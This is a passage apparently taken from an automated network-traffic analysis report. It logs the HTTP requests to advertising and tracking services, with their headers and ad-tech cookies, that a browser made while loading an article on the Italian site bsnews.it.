XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/tp_scripts.json HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /match/?int_id=1&uid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=1536995679409651&correlator=3140222702998783&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews-floorad-desktop&enc_prev_ius=%2F0%2F1&prev_iu_szs=728x90&ifi=3&didk=185291728&sfv=1-0-40&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615890521&lmt=1711560111&adxs=268&adys=817&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=3&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1263x-1&fws=512&ohw=0&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzLWZsb29yYWQtZGVza3RvcCIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Doptical%26refreshCount%3D0%26amznbid%3D1%26amznp%3D1&cust_params=consent%3Dyes&adks=3616936076&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Ad-Auction-Fetch: ?1Origin: https://bsnews.itX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D164%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%5BUID%5D&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&ccpa=&coppa= HTTP/1.1Host: cs.admanmedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: admtr_red=undefined; admtr=9741359e-b2a2-4864-af08-41d769df6c9b; ac_r=CS5
Source: global traffic	HTTP traffic detected: GET /sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96; c=1711615890; tuuid_lu=1711615891; ssh=!onetag,1711615891
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub10101531197440&gdpr=0&gdpr_consent= HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=OPU3668144d24c64241956e761ce5b3a0eb
Source: global traffic	HTTP traffic detected: GET /match/?int_id=3&uid=a9798ea5f5593278d52e5257c089&gdpr_consent=&gdpr=0 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /v3/pr?exlist=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift&fv=1.0&a=cm&cm3ppd=1&dmt=3 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3liftAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=ZgUvkQAB4q7dwAA-&_test=ZgUvkQAB4q7dwAA- HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=casale_media2_dbm&google_cm&google_sc&google_hm=ZgUvi9HM46UAADq7ABhzMwAA HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /mw?google_gid=CAESEEsi_bRI3GLpfUTpWd4PH8g&google_cver=1&zpartnerid=1&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1Host: mwzeom.zeotap.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
Source: global traffic	HTTP traffic detected: GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=google%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvrg_61036=1,1711615884; tvv=2
Source: global traffic	HTTP traffic detected: GET /int/cm?exc=19 HTTP/1.1Host: cm.ctnsnet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mw?cid=a109dc60-dc7c-45e5-ab53-e2448a53420f&zpartnerid=6&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1Host: mwzeom.zeotap.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
Source: global traffic	HTTP traffic detected: GET /mw?adnxs_uid=3287041831475129344&zpartnerid=2&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1Host: mwzeom.zeotap.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
Source: global traffic	HTTP traffic detected: GET /mw?cid=4101133984087788602&zpartnerid=3&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1Host: mwzeom.zeotap.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
Source: global traffic	HTTP traffic detected: GET /01_adform.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/ix?cm_dsp_id=18&us_privacy=&gdpr=&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: s.company-target.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%2001F5328A-C4D9-44AD-8468-60A885247C68&rnd=RND HTTP/1.1Host: us01.z.antigena.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: de.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072977&val=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?plm=5 HTTP/1.1Host: google-bidout-d.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
Source: global traffic	HTTP traffic detected: GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&pid=e1bfda39-3c7f-4f71-8183-1ce9a7296fe5 HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xuid?mid=7976&xuid=01F5328A-C4D9-44AD-8468-60A885247C68&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /02_weborama_sync.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
